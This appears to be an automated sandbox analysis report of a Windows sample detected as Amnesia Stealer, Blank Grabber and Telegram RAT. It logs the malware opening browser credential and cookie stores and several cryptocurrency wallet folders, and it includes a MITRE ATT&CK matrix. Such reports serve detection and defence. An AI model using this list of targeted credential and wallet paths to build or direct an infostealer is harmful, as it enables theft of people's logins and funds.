Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe

File read: C:\Users\user\AppData\Local\Temp\ ? ? ? \Credentials\Chrome\Chrome Cookies.txt

Source: Yara match	File source: 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Remote Access Functionality

Yara detected Amnesia Stealer

Source: Yara match	File source: 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Yara detected Blank Grabber

Source: Yara match

File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	4 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	111 Process Injection	11 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	21 Obfuscated Files or Information	1 Credentials In Files	3 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	21 Software Packing	NTDS	58 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	351 Security Software Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report svchost.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
svchost.exe